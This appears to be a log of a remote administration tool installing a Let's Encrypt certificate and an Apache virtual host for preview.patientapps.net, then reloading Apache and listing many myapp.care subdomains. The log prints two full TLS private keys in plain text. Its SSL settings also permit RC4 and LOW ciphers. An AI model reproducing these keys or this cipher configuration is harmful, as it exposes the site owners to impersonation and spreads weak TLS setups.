DOavsr6qO4tx+taEdYDUwx6vflJuvDND/SmxqltgOuX1QIkGqYawln2PUzLd5kST
27r4ifNegCzM8ZIc53p7NaTuTZKjLBUCp5BhBk9Y1X+habz0ybO/+SzCCOYNx3L1
eqvSWherjR41ImjK5ltjhBLOo1aMluTG9Lhpq4o7fQIDAQABo4ICKzCCAicwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBQQc2bA6mGGYiIJZgU3RnvPbAGZXDAfBgNVHSME
GDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHGF0aGVu
YWhlYWx0aC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy85NC5jcmwwggED
BgorBgEEAdZ5AgQCBIH0BIHxAO8AdQDM+w9qhXEJZf6Vm1PO6bJ8IumFXA2Xjbap
flTA/kwNsAAAAZj5kktJAAAEAwBGMEQCIAmQZY6HaSzEvjQtq9NI+EMD+XT7xxTr
MqDBVkZ5GHRiAiAgQUvjto9B4sqpmqm0qgQwPrQ5v1TW/eS+GLV8RarVVwB2AO08
S9boBsKkogBX28sk4jgB31Ev7cSGxXAPIN23Pj/gAAABmPmSS1EAAAQDAEcwRQIh
ALY2BRsBG4zY6bJX4rpM5lWcb9CTt6oxg5FKeNNwBLHtAiAEkSO4rcsVSt3TBk/l
4JKCBkV08ASXB/jAHqXVN7q4ITANBgkqhkiG9w0BAQsFAAOCAQEApRdFYDM2D+CF
WArXfgH+/dEvLqfxDminq2TWU5m2Fi+tyOS9tiER0p/WV4VcJgcTFtphH9vFdw/g
XZ23FneiPlsixgG3Fg9hbwWkSyEL/qyrfUD/rMwLuWpRERBNoMU8UZFQcTZ955w8
/jW+yUltpvlRGwnmd2VA3fH/JINpPdKaHh0rOukcHnvEDfPtc9geVEVkmJ+284a+
b+7qHJDoaBLxdhPeYUu33MQxzpvAha1SdJywRD4IB48H1X4rv6Cabld0ta/rWfCv
lFIxNwPzZ+AyeHR1Xw3tffuSb7Ct4AJvgyUrODClIePxE1+COqxafa6Gbo2NvvQs
p0Qjbx4ldA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCdkhlS3KnHo3VB
kZDd+2UDe6RTdBv1N5eLdZU1Fvg/4mmFmbtTu/Na35MZWpz4Uol8yp8g3WAYLuT5
WWuVO1bYDneOvg9rMyy8o8gxyqgZ0NmbXaHp7m6nGpNVxVsysesqBQKBlj8miPdA
szd+jFVY9WOlRZbyp7KAa65AvEYfmZcM5q+yvqo7i3H61oR1gNTDHq9+Um68M0P9
KbGqW2A65fVAiQaphrCWfY9TMt3mRJPbuviJ816ALMzxkhznens1pO5NkqMsFQKn
kGEGT1jVf6FpvPTJs7/5LMII5g3HcvV6q9JaF6uNHjUiaMrmW2OEEs6jVoyW5Mb0
uGmrijt9AgMBAAECggEAK05oH1n+X5wRMgAr7JaXYKmutDEJLhAlWnLqmzjA6e30
Sn/B+HWDoMopx6Ib2jP1DZMywPmW246n59AnvVAdwivXuCeMXU4nUYFCGE02fkHk
TMsjIQQi7VJkhAJF2l0D4PyXf74nhRPHwMSA0AsJufVXeajyn6ZvbNQrhCc6rpw9
ZSMlK3F3TODuB9kVPK6cIAwBa8ZtcaFXNzMpEnjG5OgCQDKE3E59LJg7XQ7XX6f3
Q1BSSAYyjNpDpOwAcj9GRb6wBtDUg9o3eLvwwoBVytjWhxm/3U7kx2tV4NhZ/7qa
hsyB6eBCB1fHjYjGE+YyLbcVSxdNvq10GVmd6ncAkQKBgQDRSprhdNaXNd13uxFn
RR/EDLi5e5Ut2E1bQZT+UPfB5L63mSU/iKpik7n0gDcBv9Gu/1vOyg5eNmMAMHt8
3s8iqCQkdtUSr4L/L3/hBJa+v8ybbJb3iV4zNOk/aj1n3XeO//3+DaYVYXZrzqOX
C5LNAo1hhsdlPk4qmXDvr0IGowKBgQDAvIvmmBdy9A1yIwQW6QiJbR2RnW7WsRcv
2Hv3bvda1JsAXZYTcGeDAkoO1rRkYvKYv2I12puR5amAW6vW64I8OfmvcEhnbjSA
1yCua1WtT+CZLUwYGS52rPQDnLG0LrTQ8PFbrwye39jr37uZqkknwvBR9nXmZOEo
6MHF/nx3XwKBgHKGVpZEryBzU0svTGisRKOtKnAlFg7OLBZhnrxDZi/tkgc5gE5x
5Hqox7rpZjBI3N7b0Uso+g/HxwjVft1ntwUJ6S0i8ZmV/SLSxTFGp46ducLa+wld
W/S9YV1YL13krIXNwxkAMv/EI17+5jnDFYOlf+P8MqROIcvhxxEBYCntAoGBAKER
sNTfy9DsdgQpkTRYQSMgBjL333YZ/uekQk1Q9fR5cqPGkjHioQ7SLfPiqFSwgE74
uemJrLMrvBCiC6SLooYUaT6dVlThu4zku9Inry0scOVx/oKxIKxa833FSJjs430t
rnbRfnmTVqQgkJXlwkcxWUcV8ge9zJE0myOM/pV/AoGBAIxkj4+JfZc3/QECIxmd
Yqr/rsNKbuAmBe7YAdltZoLnsMv7zaNhMjnaJ/cPDAi+ysvwbKUZFPBinl7HsWH+
Tj7yHEl1X+pIHyhMjs0UYky8j3pP2B7X55BNOU6AcT4x/3ayIxN2yps+1Iq82zqP
QSujZhsebJuqwO8dky0BJo94
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-08-30 06:02:52: Establishing a connection
2025-08-30 06:02:53: Establishing a connection
2025-08-30 06:02:53:
PUT: /tmp/pkp732703
#!/bin/bash
if [ -d "/var/www/patientapps_preview/.well-known" ]; then
echo 1
else
echo 0
fi
2025-08-30 06:02:53:
chmod 755 /tmp/pkp732703; /tmp/pkp732703; rm /tmp/pkp732703
2025-08-30 06:02:53:
0
2025-08-30 06:03:19: Establishing a connection
2025-08-30 06:03:19:
PUT: /tmp/pkp653529
#!/bin/bash
temp_file=$(mktemp)
TARGET=47e838c5d6fc754b55478008ec934de1.crt
cat > $temp_file <<'endmsg'
b2:05:81:c4:b0:b3:68:74:04:74:6b:b4:c4:3d:c2:68
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBm1vnHpHvWSUyeUb2L9nq79bMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNDQ4WhcNMjUxMTI4MDUwNDQ3WjAiMSAwHgYDVQQD
ExdwcmV2aWV3LnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAMs2PPsQ6EputIqXpEFrZ1skRGjHZT5jKIYz7LAOsgJ0psa6pL5n
3iaiBMcy9ebDq52AgQTpSvEY0tbBvB2ZGw3t2a/B6GDCtasXDKRSAXqjH2hRVy98
hgnQh38m29RhBlJ6lWphBj0TVs179jV3Ax3Chi9nqBxRT8Gy9HLJzOiWY8oH1h8y
SSAzu8XHPJ0hfYYLn8wuNB6n1E5DVgXf/6uv7EFhvluxx1jkwaaNdj8PRkM74s8H
2w1oqa23/Y94givQ/3fdtMSfJHPk4AW9penzNwKsibmbfeK0L4/gFLIAvEMoqbpi
4ehFKnoLWHjLBQ1TAEWBPIDQOo9llu8UG/0CAwEAAaOCAicwggIjMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUCqfm+4nIdVpCELXT6IPfauWrguMwHwYDVR0jBBgwFoAU
ALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdwcmV2aWV3LnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzkyLmNybDCCAQQGCisGAQQB1nkC
BAIEgfUEgfIA8AB2AMz7D2qFcQll/pWbU87psnwi6YVcDZeNtql+VMD+TA2wAAAB
mPmSt+4AAAQDAEcwRQIgB1Ha8JEtHMmDoIj/w9JZ4KHTHcz4PZEtj2gEIn7gu/0C
IQDzLVWJZh9v8UhdSif/KnvB2kUMIaisamuRMp0bj3eSIAB2ABLxTjS9U3JMhAYZ
w48/ehP457Vih4icbTAFhOvlhiY6AAABmPmSt+wAAAQDAEcwRQIgDJ6DSnADzhxQ
pwDHM9Gkbj5h8fdgVvQwhQgFVlkgY1YCIQC6bOH/x9Y05IAggYweaIKFyJ/pcOsg
abAcX4pjcStVNjANBgkqhkiG9w0BAQsFAAOCAQEAgr/Sa0UwfN7u+HEo51H3lHmD
xuCE+wCrZAGubn+C94lA69S/KSGzSPP/JLjYogVP3b6n+FRaAPHjN16sdVTCFHAm
Be2rS8pzqv9fJkF51cl7Hpinqmelo0+B3kVRwmY9Ton3pvdS291lWQ8XHSLul2cj
QGvwgdjCarAA4wc0g82+i3piUgbHksleApL0ZkiUkJX74Abv2jCe9eyhBI4LnWn1
Bzd5qRFJaXF4ZbRHWvRhsRnc+zL27br4PPb0cG7FtBqY6G4/TRaBwjLDaKsZcMdK
Xhv2TKCOdW9A751KWwhULuFBnG+SU4EN6OtanheNIK1kDGpavHm4HXQUYZLIJQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDLNjz7EOhKbrSK
l6RBa2dbJERox2U+YyiGM+ywDrICdKbGuqS+Z94mogTHMvXmw6udgIEE6UrxGNLW
wbwdmRsN7dmvwehgwrWrFwykUgF6ox9oUVcvfIYJ0Id/JtvUYQZSepVqYQY9E1bN
e/Y1dwMdwoYvZ6gcUU/BsvRyyczolmPKB9YfMkkgM7vFxzydIX2GC5/MLjQep9RO
Q1YF3/+rr+xBYb5bscdY5MGmjXY/D0ZDO+LPB9sNaKmtt/2PeIIr0P933bTEnyRz
5OAFvaXp8zcCrIm5m33itC+P4BSyALxDKKm6YuHoRSp6C1h4ywUNUwBFgTyA0DqP
ZZbvFBv9AgMBAAECggEALFPwiXPuuA3eJD1f/0VGjoMiyRh15V4MAPpiryUFf7Oi
jcc5GK/frd253RooueYFEZ5uhnu9dUpM87vfJTW4yRkRW12ZK0JODrxAbbfVysK6
ny7fLeSj+JAcfogje/iOQH+tCD+R9NC7Jqfb1V3YuC0uyDh8W3EBTOeUm1WZ9UI1
dKxrytx/GDqPOeyI7s2f52hONQCpeax9aIrYYODXcbg0l2IkhdNV0r7D82CjBNPb
pnftVgVpBrin77wSTkXBOnDDJy5fNvC501BjW7rlvuB+ni0OyueQjBXC3rNCSM/G
H8tiwihfS4qXixTixbEmCzpcIuTP8iav3YCZykxroQKBgQDu88v22t8jhcwiYPpm
vkXabVETgpHmcccLIYD2GHrlAFnFZZZ/N8I+ImTCq/O5YGIG3auqn6PcKXq0ha53
XOWWsj+REL4XQvGDsEc8optsUzJ2KYNBBJaknjxHEAovXB3dK7F4DtRTBKjPNhRy
kPovoMv+dTwMT+doyfx/U5ViGwKBgQDZta5TdgedkVmR3TY4qHI5I8F3kEGmKoz/
PF6mxdWOFqRmeNN8T8ZbHlnFEJR3StsUzssHqGS6oEg7xmhS3p/SZsQLRSTxyirS
HYqb3ThClRC8SbIBXaljlpW5bmRGiLSeWOgtj0d6C/m0abR3Hy+aUuCN0x5Qle4V
dOROR5QbxwKBgQCFBA3sctZ4Lcj+8kEx5IV6HBRf6fVR9NA6cAIb/HCc/d77NZvb
YaytbfPtMk9QSEkJTWh8aLWMn0KBL1F5fKsJglxEYq+Ov2M2TXC6XkJqwL18bYt1
LBq3tKYVYOZqirrNHb+C965WMGfQQWiMhgvfa4FjOtucdvZ4rMf0ERE9NQKBgBoE
dEjVGiPicunTnd83gi8B7uTzAGVzQFZgSI91pQfN/OeiGOQKRJIvFltOl++JqpTa
AblwjlkfPoKmO2Fr6X2jelo+cSPUHTnu/dmSnl6WoeFejT9Miim0nUADyUgEnlEu
HtETBl+3fqfo2gBCYdX3gY5xZHYM9N7rkT0poLGRAoGAEQXQ4OP4WyNNl9ZiIqI5
BsYDmvK3EKKPaGe3p4BpEUsYAyiLp3p1HB+A7PHys3MpfyCgnjeg0dZLGOCSwWXa
BFkps1RZhZE7rq36hUYUEz9zZ6g43qmRkW6hD+lWhH71QElvdBKhF1MTIM8bSNSS
3jefeoGPfM/At+PmdP308DI=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-08-30 06:03:19:
chmod 755 /tmp/pkp653529; /tmp/pkp653529; rm /tmp/pkp653529
2025-08-30 06:03:19:
dir=/etc/ssl/certs
2025-08-30 06:03:19:
PUT: /tmp/pkp886188
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_preview_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-08-30 06:03:19:
chmod 755 /tmp/pkp886188; /tmp/pkp886188; rm /tmp/pkp886188
2025-08-30 06:03:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_preview_net.conf 47
<VirtualHost *:80>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
# DocumentRoot /var/www/patientapps_preview
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-08-30 06:03:19:
PUT: /tmp/pkp802509
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_preview_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_preview_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
# DocumentRoot /var/www/patientapps_preview
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_preview_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_preview_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_preview_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_preview_net.conf= 1'
fi
2025-08-30 06:03:19:
chmod 755 /tmp/pkp802509; /tmp/pkp802509; rm /tmp/pkp802509
2025-08-30 06:03:19:
2025-08-30 06:03:19:
PUT: /tmp/pkp857956
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-08-30 06:03:19:
chmod 755 /tmp/pkp857956; /tmp/pkp857956; rm /tmp/pkp857956
2025-08-30 06:03:19:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-08-30 06:03:19: Establishing a connection
2025-08-30 06:03:19:
PUT: /tmp/pkp246340
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-08-30 06:03:20:
chmod 755 /tmp/pkp246340; /tmp/pkp246340; rm /tmp/pkp246340
2025-08-30 06:03:20:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
